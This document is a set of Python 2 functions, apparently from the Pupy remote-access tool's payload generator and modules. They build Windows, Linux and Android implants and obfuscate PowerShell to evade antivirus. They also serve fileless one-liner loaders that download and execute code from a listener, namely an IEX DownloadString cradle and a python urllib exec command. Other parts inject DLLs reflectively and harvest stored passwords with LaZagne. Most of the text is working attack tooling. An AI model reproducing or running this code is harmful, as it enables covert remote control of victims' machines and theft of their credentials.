def __call__(self, parser, namespace, values, option_string=None): print colorize("## available formats :", "green")+" usage: -f <format>" print "\t- exe_86, exe_x64 : generate PE exe for windows" print "\t- dll_86, dll_x64 : generate reflective dll for windows" print "\t- lin_x86, lin_x64 : generate a ELF binary for linux" print "\t- so_x86, so_x64 : generate a ELF .so for linux" print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)" print "\t- pyinst : generate a python file compatible with pyinstaller" print "\t- py_oneliner : same as \"py\" format but served over http to load it from memory with a single command line." print "\t- ps1 : generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process." print "\t- ps1_oneliner : load pupy remotely from memory with a single command line using powershell." print "\t- rubber_ducky : generate a Rubber Ducky script and inject.bin file (Windows Only)." print "\t- apk : generate a apk for running pupy on android" print "" print colorize("## available transports :","green")+" usage: -t <transport>" for name, tc in transports.iteritems(): try: print "\t- {:<14} : {}".format(name, tc.info) except Exception as e: logging.error(e) print colorize("## available scriptlets :", "green")+" usage: -s <scriptlet>,<arg1>=<value>,<args2=value>..." scriptlets_dic=load_scriptlets() for name, sc in scriptlets_dic.iteritems(): print "\t- {:<15} : ".format(name) print '\n'.join(["\t"+x for x in sc.get_help().split("\n")]) exit()
def __call__(self, parser, namespace, values, option_string=None): print colorize("## available formats :", "green") + " usage: -f <format>" print "\t- client : generate client binary" print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)" print "\t- pyinst : generate a python file compatible with pyinstaller" print "\t- py_oneliner : same as \"py\" format but served over http to load it from memory with a single command line." print "\t- ps1 : generate ps1 file which embeds pupy dll (x86-x64) and inject it to current process." print "\t- ps1_oneliner : load pupy remotely from memory with a single command line using powershell." print "\t- rubber_ducky : generate a Rubber Ducky script and inject.bin file (Windows Only)." print "" print colorize("## available transports :", "green") + " usage: -t <transport>" for name, tc in transports.iteritems(): try: print "\t- {:<14} : {}".format(name, tc.info) except Exception as e: logging.error(e) print colorize( "## available scriptlets :", "green") + " usage: -s <scriptlet>,<arg1>=<value>,<args2=value>..." scriptlets_dic = load_scriptlets() for name, sc in scriptlets_dic.iteritems(): print "\t- {:<15} : ".format(name) print '\n'.join(["\t" + x for x in sc.get_help().split("\n")]) raise InvalidOptions
def run(self, args): try: data = obtain(self.client.conn.modules.pupyps.users()) tablein = [] for user, hosts in reversed(sorted(data.iteritems())): for host, sessions in hosts.iteritems(): for session in sessions: color = "" if 'idle' in session: idle = session['idle'] color = "cyan" if idle < 10 * 60 else ( "grey" if idle > 60 * 60 * 24 else "") object = { 'HOST': colorize(host, color), 'USER': colorize( user, "yellow" if user in ADMINS else ("green" if session.get('me') else "")), 'LOGIN': colorize( str( datetime.fromtimestamp( int(session['started']))), color), } if session.get('terminal'): if session.get('name'): what = '{} {}'.format( session['exe'] if session.get('exe') else ('{' + session.get('name') + '}'), ' '.join(session['cmdline'][1:] if session. get('cmdline') else '')) else: what = '' object.update({ 'IDLE': colorize( str(timedelta(seconds=session['idle'])), color) if session.get('idle') else '', 'PID': colorize(str(session.get('pid', '')), color), 'WHAT': colorize( what[:30] + '…' if len(what) > 30 else what, color) }) tablein.append(object) self.stdout.write(PupyCmd.table_format(tablein)) except Exception, e: logging.exception(e)
def colorize_option(option): if len(option) > 1: k, v = option else: k = option[0] v = None color = option_colors.get(k) if color: if type(color) == dict: if v in color: return colorize( '='.join([x for x in [k, v] if x]), color.get(v) ) else: return '='.join([x for x in [k, v] if x]) else: return colorize( '='.join([x for x in [k, v] if x]), color ) else: return '='.join([x for x in [k, v] if x])
def __init__(self, conf, link_port=8080, targetOs='Windows'): ''' ''' self.conf = conf i=conf["launcher_args"].index("--host")+1 self.link_ip = conf["launcher_args"][i].split(":",1)[0] self.link_port = link_port self.__loadRubberDuckyConf__() self.rubberDuckyScriptFilename = 'rubberDuckyPayload.txt' self.rubberDuckyBinFilename = 'inject.bin' self.targetOs = targetOs if self.targetOs not in self.TARGET_OS_MANAGED: print(colorize("[+] ","red")+"Target OS ({0}) is not valid. It has to be in {1}".format(targetOs, self.TARGET_OS_MANAGED))
def run(self, args): if self.client.is_windows(): self.client.load_dll('sqlite3.dll') db = Credentials() passwordsFound = False for r in self.client.conn.modules["laZagne"].runLaZagne(): if r[0] == 'User': print colorize('\n########## User: %s ##########' % r[1].encode('utf-8', errors='replace'), "yellow") elif r[2] or args.verbose: self.print_module_title(r[1]) if r[2]: passwordsFound = True self.print_results(r[0], r[1], r[2], db) elif args.verbose: print '[!] no passwords found !' if not passwordsFound: self.warning("no passwords found !")
def do_GET(self): # print self.server.random_reflectivepeinj_name if self.path=="/%s" % url_random_one: self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() if self.server.useTargetProxy == True: print colorize("[+] ","green")+"Stage 1 configured for using target's proxy configuration" launcher = """IEX (New-Object Net.WebClient).DownloadString('http://{server}:{port}/{url_random_two}');""".format( server=self.server.link_ip, port=self.server.link_port, url_random_two=url_random_two ) else: print colorize("[+] ","green")+"Stage 1 configured for NOT using target's proxy configuration" launcher = """$w=(New-Object System.Net.WebClient);$w.Proxy=[System.Net.GlobalProxySelection]::GetEmptyWebProxy();iex($w.DownloadString('http://{server}:{port}/{url_random_two}'));""".format( server=self.server.link_ip, port=self.server.link_port, url_random_two=url_random_two ) launcher = create_ps_command(launcher, force_ps32=True, nothidden=False) self.wfile.write(launcher) print colorize("[+] ","green")+"[Stage 1/2] Powershell script served !" elif self.path=="/%s" % url_random_two: self.send_response(200) self.send_header('Content-type','application/octet-stream') self.end_headers() code=open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read() code=code.replace("Invoke-ReflectivePEInjection", self.server.random_reflectivepeinj_name) # seems to bypass some av like avast :o) self.wfile.write(getInvokeReflectivePEInjectionWithDLLEmbedded(self.server.payload_conf)) print colorize("[+] ","green")+"[Stage 2/2] Powershell Invoke-ReflectivePEInjection script (with dll embedded) served!" print colorize("[+] ","green")+"You should have a pupy shell in few seconds from this host..." else: self.send_response(404) self.end_headers() return
def run(self, args): users = self.client.conn.modules['pupyutils.users'].users() users = obtain(users) for user in users['users']: if user['admin']: color = 'lightred' elif 'Administrators' in user['groups'] or 'sudo' in user['groups']: color = 'lightyellow' else: color = 'white' output = colorize(unicode(user['name']), color) if args.groups: output += u': ' + u','.join(user['groups']) if users['current'] == user['name']: output = u'➤ ' + output else: output = u' ' + output self.log(colorize(output, color))
def getInvokeReflectivePEInjectionWithDLLEmbedded(payload_conf): ''' Return source code of InvokeReflectivePEInjection.ps1 script with pupy dll embedded Ready for executing ''' SPLIT_SIZE = 100000 x86InitCode, x86ConcatCode = "", "" code = """ $PEBytes = "" {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """#{1}=x86dll binaryX86=b64encode(get_edit_pupyx86_dll(payload_conf)) binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)] for i,aPart in enumerate(binaryX86parts): x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart) x86ConcatCode += "$PEBytes{0}+".format(i) print(colorize("[+] ","green")+"X86 pupy dll loaded and {0} variables generated".format(i+1)) script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) return obfs_ps_script("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1])))
def run(self, args): self.client.load_package("pupyutils.search", force=True) self.client.load_package("scandir") if args.extensions: args.extensions = tuple(f.strip() for f in args.extensions.split(',')) # if not extension is provided for find commad, try to extract it to gain time during the research elif not args.content: args.extensions = tuple(os.path.splitext(s)[1].strip() for s in args.strings) search_str = [s.lower() for s in args.strings] s = self.client.conn.modules['pupyutils.search'].Search(files_extensions=args.extensions, max_size=args.max_size, check_content=args.content, root_path=args.path, search_str=search_str) self.info("searching strings %s in %s ..."%(args.strings, args.path)) for res in s.run(): # add color for s in search_str: if s in res: res = res.replace(s, colorize(s,"green")) self.success("%s" % res) self.info("search finished !")
def __call__(self, parser, namespace, values, option_string=None): print colorize("## available formats :", "green") print "\t- exe_86, exe_x64 : generate PE exe for windows" print "\t- dll_86, dll_x64 : generate reflective dll for windows" print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)" print "\t- py_oneliner : same as \"py\" format but served over http to load it from a single command line" print "" print colorize("## available transports :","green") for name, dic in transports.iteritems(): print "\t- {:<20} : {}".format(name, dic["info"]) print "" print colorize("## available scriptlets :", "green") scriptlets_dic=load_scriptlets() for name, sc in scriptlets_dic.iteritems(): print "\t- {:<15} : ".format(name) print '\n'.join(["\t"+x for x in sc.get_help().split("\n")]) exit()
def serve_payload(payload, ip="0.0.0.0", port=8080): print colorize("[+] ","green")+"copy/paste this one-line loader to deploy pupy without writing on the disk :" print " --- " oneliner=colorize("python -c 'import urllib;exec urllib.urlopen(\"http://%s:%s/index\").read()'"%(get_local_ip(), port), "green") print oneliner print " --- " class PupyPayloadHTTPHandler(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type','text/html') self.end_headers() # Send the html message self.wfile.write(payload) return try: server = HTTPServer((ip, port), PupyPayloadHTTPHandler) print colorize("[+] ","green")+'Started httpserver on port ' , port print colorize("[+] ","green")+'waiting for a connection ...' server.serve_forever() except KeyboardInterrupt: print 'KeyboardInterrupt received, shutting down the web server' server.socket.close() exit()
def __call__(self, parser, namespace, values, option_string=None): print colorize("## available formats :", "green")+" usage: -f <format>" print "\t- exe_86, exe_x64 : generate PE exe for windows" print "\t- dll_86, dll_x64 : generate reflective dll for windows" print "\t- py : generate a fully packaged python file (with all the dependencies packaged and executed from memory), all os (need the python interpreter installed)" print "\t- py_oneliner : same as \"py\" format but served over http to load it from memory with a single command line." print "\t- ps1_oneliner : load pupy remotely from memory with a single command line using powershell." print "" print colorize("## available transports :","green")+" usage: -t <transport>" for name, tc in transports.iteritems(): try: print "\t- {:<14} : {}".format(name, tc.info) except Exception as e: logging.error(e) print colorize("## available scriptlets :", "green")+" usage: -s <scriptlet>,<arg1>=<value>,<args2=value>..." scriptlets_dic=load_scriptlets() for name, sc in scriptlets_dic.iteritems(): print "\t- {:<15} : ".format(name) print '\n'.join(["\t"+x for x in sc.get_help().split("\n")]) exit()
def generate_binary_from_template(config, osname, arch=None, shared=False, debug=False, bits=None, fmt=None): TEMPLATE_FMT = fmt or 'pupy{arch}{debug}.{ext}' ARCH_CONVERT = { 'amd64': 'x64', 'x86_64': 'x64', 'i386': 'x86', 'i486': 'x86', 'i586': 'x86', 'i686': 'x86', } TO_PLATFORM = { 'x64': 'intel', 'x86': 'intel' } TO_ARCH = { 'intel': { '32bit': 'x86', '64bit': 'x64' } } arch = arch.lower() arch = ARCH_CONVERT.get(arch, arch) if bits: arch = TO_ARCH[TO_PLATFORM[arch]] CLIENTS = { 'android': (get_edit_apk, 'pupy.apk', False), 'linux': (get_edit_binary, TEMPLATE_FMT, True), 'windows': (get_edit_binary, TEMPLATE_FMT, False), } osname = osname.lower() if not osname in CLIENTS.keys(): raise ValueError('Unknown OS ({}), known = '.format( osname, ', '.join(CLIENTS.keys()))) generator, template, makex = CLIENTS[osname] if '{arch}' in template and not arch: raise ValueError('arch required for the target OS ({})'.format(osname)) shared_ext = 'dll' if osname == 'windows' else 'so' non_shared_ext = 'exe' if osname == 'windows' else 'lin' ext = shared_ext if shared else non_shared_ext debug = 'd' if debug else '' if shared: makex = False filename = template.format(arch=arch, debug=debug, ext=ext) template = os.path.join( ROOT, 'payload_templates', filename ) if not os.path.isfile(template): raise ValueError('Template not found ({})'.format(template)) for k, v in config.iteritems(): print colorize("[C] {}: {}".format(k, v), "yellow") return generator(template, config), filename, makex
script_code="" if args.scriptlet: script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets) l=launchers[args.launcher]() while True: try: l.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args: myip=get_local_ip(args.interface) if not myip: sys.exit("[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually") print(colorize("[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"%myip,"grey")) args.launcher_args.insert(0,"%s:443"%myip) args.launcher_args.insert(0,"--host") else: l.arg_parser.print_usage() exit(str(e)) else: break if args.randomize_hash: script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40)) conf={} conf['launcher']=args.launcher conf['launcher_args']=args.launcher_args conf['offline_script']=script_code outpath=args.output if args.format=="exe_x86":
script_code="" if args.scriptlet: script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets) l=launchers[args.launcher]() while True: try: l.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args: myip=get_local_ip(args.interface) if not myip: sys.exit("[-] --host parameter missing and couldn't find your local IP. You must precise an ip or a fqdn manually") print(colorize("[!] required argument missing, automatically adding parameter --host %s:443 from local ip address"%myip,"grey")) args.launcher_args.insert(0,"%s:443"%myip) args.launcher_args.insert(0,"--host") else: l.arg_parser.print_usage() exit(str(e)) else: break if args.randomize_hash: script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40)) conf={} conf['launcher']=args.launcher conf['launcher_args']=args.launcher_args conf['offline_script']=script_code outpath=args.output
def get_raw_conf(conf, obfuscate=False, verbose=False): credentials = Credentials(role='client') if not "offline_script" in conf: offline_script="" else: offline_script=conf["offline_script"] obf_func=lambda x:x if obfuscate: obf_func=compress_encode_obfs l = launchers[conf['launcher']]() l.parse_args(conf['launcher_args']) required_credentials = set(l.credentials) \ if hasattr(l, 'credentials') else set([]) transport = l.get_transport() transports_list = [] if transport: transports_list = [ transport ] if transports[transport].credentials: for name in transports[transport].credentials: required_credentials.add(name) elif not transport: for n, t in transports.iteritems(): transports_list.append(n) if t.credentials: for name in t.credentials: required_credentials.add(name) print colorize("[+] ", "green") + 'Required credentials:\n{}'.format( colorize("[+] ", "green") + ', '.join(required_credentials) ) embedded_credentials = '\n'.join([ '{}={}'.format(credential, repr(credentials[credential])) \ for credential in required_credentials if credentials[credential] is not None ])+'\n' if verbose: for k, v in conf.iteritems(): print colorize("[C] {}: {}".format(k, v), "yellow") config = '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps({ 'pupy_credentials.py' : embedded_credentials }))), '\n'.join([ 'pupyimporter.pupy_add_package({})'.format( repr(cPickle.dumps(gen_package_pickled_dic( ROOT+os.sep, 'network.transports.{}'.format(transport) )))) for transport in transports_list ]), 'import sys', 'sys.modules.pop("network.conf")', 'import network.conf', 'LAUNCHER={}'.format(repr(conf['launcher'])), 'LAUNCHER_ARGS={}'.format(repr(conf['launcher_args'])), 'debug={}'.format(bool(conf.get('debug', False))), offline_script ]) return obf_func(config)
def pupygen(args, config): ok = colorize("[+] ","green") if args.workdir: os.chdir(args.workdir) script_code="" if args.scriptlet: script_code=parse_scriptlets(args.scriptlet, debug=args.debug_scriptlets) l = launchers[args.launcher]() while True: try: l.parse_args(args.launcher_args) except LauncherError as e: if str(e).strip().endswith("--host is required") and not "--host" in args.launcher_args: myip = get_listener_ip(external=args.prefer_external, config=config) if not myip: raise ValueError("--host parameter missing and couldn't find your local IP. " "You must precise an ip or a fqdn manually") myport = get_listener_port(config, external=args.prefer_external) print(colorize("[!] required argument missing, automatically adding parameter " "--host {}:{} from local or external ip address".format(myip, myport),"grey")) args.launcher_args = [ '--host', '{}:{}'.format(myip, myport), '-t', config.get('pupyd', 'transport') ] elif str(e).strip().endswith('--domain is required') and not '--domain' in args.launcher_args: domain = config.get('pupyd', 'dnscnc').split(':')[0] if not domain or '.' not in domain: print(colorize('[!] DNSCNC disabled!', 'red')) return print(colorize("[!] required argument missing, automatically adding parameter " "--domain {} from configuration file".format(domain),"grey")) args.launcher_args = [ '--domain', domain ] else: l.arg_parser.print_usage() return else: break if args.randomize_hash: script_code+="\n#%s\n"%''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(40)) conf={} conf['launcher']=args.launcher conf['launcher_args']=args.launcher_args conf['offline_script']=script_code conf['debug']=args.debug outpath=args.output if args.format=="client": print ok+"Generate client: {}/{}".format(args.os, args.arch) data, filename, makex = generate_binary_from_template( conf, args.os, arch=args.arch, shared=args.shared, debug=args.debug ) if not outpath: template, ext = filename.rsplit('.', 1) outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix=template+'.', suffix='.'+ext, delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') outfile.write(data) outfile.close() if makex: os.chmod(outfile.name, 0511) outpath = outfile.name elif args.format=="py" or args.format=="pyinst": linux_modules = "" if not outpath: outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix='pupy_', suffix='.py', delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') if args.format=="pyinst" : linux_modules = getLinuxImportedModules() packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True)) outfile.write("#!/usr/bin/env python\n# -*- coding: UTF8 -*-\n"+linux_modules+"\n"+packed_payload) outfile.close() outpath = outfile.name elif args.format=="py_oneliner": packed_payload=pack_py_payload(get_raw_conf(conf, verbose=True)) i=conf["launcher_args"].index("--host")+1 link_ip=conf["launcher_args"][i].split(":",1)[0] serve_payload(packed_payload, link_ip=link_ip, port=args.oneliner_listen_port) elif args.format=="ps1": SPLIT_SIZE = 100000 x64InitCode, x86InitCode, x64ConcatCode, x86ConcatCode = "", "", "", "" if not outpath: outfile = tempfile.NamedTemporaryFile( dir=args.output_dir or '.', prefix='pupy_', suffix='.ps1', delete=False ) else: try: os.unlink(outpath) except: pass outfile = open(outpath, 'w+b') outpath = outfile.name code = """ $PEBytes = "" if ([IntPtr]::size -eq 4){{ {0} $PEBytesTotal = [System.Convert]::FromBase64String({1}) }} else{{ {2} $PEBytesTotal = [System.Convert]::FromBase64String({3}) }} Invoke-ReflectivePEInjection -PEBytes $PEBytesTotal -ForceASLR """#{1}=x86dll, {3}=x64dll binaryX64 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x64', shared=True)[0]) binaryX86 = base64.b64encode(generate_binary_from_template(conf, 'windows', arch='x86', shared=True)[0]) binaryX64parts = [binaryX64[i:i+SPLIT_SIZE] for i in range(0, len(binaryX64), SPLIT_SIZE)] binaryX86parts = [binaryX86[i:i+SPLIT_SIZE] for i in range(0, len(binaryX86), SPLIT_SIZE)] for i,aPart in enumerate(binaryX86parts): x86InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart) x86ConcatCode += "$PEBytes{0}+".format(i) print(ok+"X86 dll loaded and {0} variables used".format(i+1)) for i,aPart in enumerate(binaryX64parts): x64InitCode += "$PEBytes{0}=\"{1}\"\n".format(i,aPart) x64ConcatCode += "$PEBytes{0}+".format(i) print(ok+"X64 dll loaded and {0} variables used".format(i+1)) script = obfuscatePowershellScript(open(os.path.join(ROOT, "external", "PowerSploit", "CodeExecution", "Invoke-ReflectivePEInjection.ps1"), 'r').read()) outfile.write("{0}\n{1}".format(script, code.format(x86InitCode, x86ConcatCode[:-1], x64InitCode, x64ConcatCode[:-1]) )) outfile.close() elif args.format=="ps1_oneliner": from pupylib.payloads.ps1_oneliner import serve_ps1_payload link_ip=conf["launcher_args"][conf["launcher_args"].index("--host")+1].split(":",1)[0] if args.no_use_proxy == True: serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=False) else: serve_ps1_payload(conf, link_ip=link_ip, port=args.oneliner_listen_port, useTargetProxy=True) elif args.format=="rubber_ducky": rubber_ducky(conf).generateAllForOStarget() else: raise ValueError("Type %s is invalid."%(args.format)) print(ok+"OUTPUT_PATH = %s"%os.path.abspath(outpath)) print(ok+"SCRIPTLETS = %s"%args.scriptlet) print(ok+"DEBUG = %s"%args.debug) return os.path.abspath(outpath)